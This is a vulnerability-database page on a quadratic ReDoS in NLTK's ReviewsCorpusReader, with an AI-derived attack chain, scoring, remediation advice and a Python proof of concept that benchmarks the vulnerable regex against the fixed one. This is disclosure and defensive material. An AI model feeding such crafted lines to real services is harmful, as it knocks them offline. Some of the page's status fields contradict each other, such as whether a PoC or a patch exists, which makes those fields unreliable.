Skip to main content

NLTK CVE-2026-12061

HIGH
Inefficient Regular Expression Complexity (ReDoS) (CWE-1333)
2026-07-31 https://github.com/nltk/nltk GHSA-fg7f-2386-8897
7.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply crafted corpus file with long bracket-less line
  2. Delivery
    Submit to network-accessible corpus-loading endpoint
  3. Exploit
    ReviewsCorpusReader invokes re.findall with FEATURES regex
  4. Execution
    Quadratic backtracking consumes CPU across all n starting positions
  5. Persist
    Calling thread or process hangs
  6. Impact
    Service denial achieved

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V2 - Validation and Business Logic Regex complexity limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application passes attacker-controlled or attacker-influenced content to ReviewsCorpusReader - specifically, that at least one line in the supplied corpus is a long sequence of word-plus-whitespace tokens (roughly 100,000 words or ~500,000 bytes) containing no trailing bracketed annotation of the form [+N] or [-N]. The three vulnerable entry points are reviews(), features(), and sents(). The CVSS vector (PR:N, UI:N) indicates no authentication or user interaction is required at the library level, assuming the corpus-loading endpoint is network-reachable. Exploitation is limited by: (1) the application must use ReviewsCorpusReader and accept external or user-supplied corpus input - internal-only pipelines with no external input path are not exposed; (2) the malicious line must be sufficiently long (tens of thousands of words) to produce noticeable latency; and (3) impact is purely CPU-based denial of service with no data access or code execution capability.

Impact

The CVSS 3.1 score of 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) accurately captures the low attack complexity and unauthenticated network reachability when NLTK corpus loading is exposed to external input, but real-world risk is strongly gated by deployment context. This is a library-level vulnerability: it is exploitable only when an application passes attacker-controlled content to ReviewsCorpusReader, covering multi-tenant NLP pipelines, web services accepting user-provided corpora, or batch/CI jobs ingesting external data. EPSS data was not provided in the input; no KEV listing is present, indicating no confirmed mass exploitation. A published PoC demonstrates reproducible ~4x slowdown per 2x input doubling (O(n²) growth), making the attack straightforward to operationalize. Impact is purely availability - no code execution, confidentiality, or integrity impact. For deployments that never load external or user-supplied corpora, real-world risk is negligible despite the high CVSS score. The fix (PR #3583, released in 3.10.0) is available with confirmed extraction parity on legitimate corpora.

Exploit ScenarioDerived

An attacker submits a reviews corpus file containing a single line of approximately 100,000 space-separated words with no bracketed annotation (e.g., a line of repeated 'word ' tokens) to a web service or NLP pipeline that accepts user-provided corpora and processes them via NLTK's ReviewsCorpusReader. When reviews(), features(), or sents() is called, the FEATURES regex enters quadratic backtracking, consuming CPU for tens of seconds to minutes per malicious line. A published PoC script quantifies this behavior and is trivially reproducible, requiring no special tooling beyond Python and the vulnerable NLTK version.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 31, 2026

Quadratic ReDoS in NLTK ReviewsCorpusReader allows an unauthenticated attacker to hang any application that processes untrusted reviews corpora, by supplying a single crafted line of approximately 100,000 bracket-less words. All NLTK versions through 3.9.4 are affected; the calls reviews(), features(), and sents() are all vulnerable entry points. Publicly available exploit code (PoC) is included in the advisory; no confirmed active exploitation in CISA KEV at time of analysis.

RemediationAI

Upgrade NLTK to version 3.10.0 or later using pip install --upgrade nltk; this version introduces a bounded repeat quantifier in the FEATURES regex (PR #3583), capping the per-label word run to 50 iterations and resolving the quadratic backtracking while preserving extraction parity on all legitimate annotated corpora. If immediate upgrade is blocked, applications that accept user-supplied corpora should enforce a maximum line-length limit before passing content to ReviewsCorpusReader - rejecting or truncating lines exceeding a safe threshold (e.g., 10,000 characters) eliminates the attack surface with no functional impact on real review data. Alternatively, if ReviewsCorpusReader is not a required feature, disabling or removing its use entirely is a zero-risk workaround. The full advisory is at https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897.

Affected Packages

pypi nltk fix: 3.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NLTK's ReviewsCorpusReader uses a module-level FEATURES regex defined in nltk/corpus/reader/reviews.py (lines 70-71) to extract feature annotations of the form label[+N] or label[-N] from corpus lines. The regex pattern ((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\] contains an unbounded greedy label sub-pattern: an optional run of word-plus-whitespace groups followed by a word, which must then be followed by a literal bracket. Python's backtracking NFA regex engine, at each of n starting positions in a bracket-less line, greedily extends the match to end-of-line, fails to find the required '[', and backtracks the full distance. re.findall repeats this from every position, yielding O(n²) total CPU work - quadratic growth rather than exponential, but sufficient to stall processing. CWE-1333 (Inefficient Regular Expression Complexity) precisely describes this root cause. The affected package is pkg:pip/nltk.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Network vector applies when corpus intake is user-supplied over network; PR:N as no library-level auth exists; A:H for indefinite CPU hang; C/I both N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionGitHub Advisory

Summary

ReviewsCorpusReader extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded - an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time
# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0
# seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]
# words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line - extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
    bench("BOUNDED     fix #3583", FEATURES_FIXED)
    same = parity_check()

    print("\n" + "=" * 66)
    print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" * 66)


if __name__ == "__main__":
    main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 pypi packages depend on nltk (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.10.0.

Executive ViewAI

Why It Matters

NLTK ReviewsCorpusReader (versions through 3.9.4) contains a denial-of-service vulnerability where publicly available exploit code exists, allowing unauthenticated attackers to hang applications processing untrusted text. Organizations analyzing customer reviews, feedback, or user-generated content face service availability risk with no vendor patch currently available. Immediate compensating controls are required to prevent production outages.

Business Impact: High
Compensating Controls

Implement strict input validation restricting review line length to 10,000 characters maximum, enforce 500ms execution timeouts on all regex operations, rate-limit ReviewsCorpusReader API endpoints, restrict ReviewsCorpusReader usage to trusted internal data sources only, and configure application-level resource limits (memory, CPU per thread) to prevent full service hangs.

Threat Intelligence Overview

Prevalence
Medium
popular Python NLP library, widely used in research and academic pipelines
Threat Intel
1
1 source
Data Quality
3 sources
Confidence: Low
NVD CVE.org GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)GitHub Advisory

pkg:pip/nltk

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Package Hub 15 SP7 Fixed
SUSE Package Hub 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy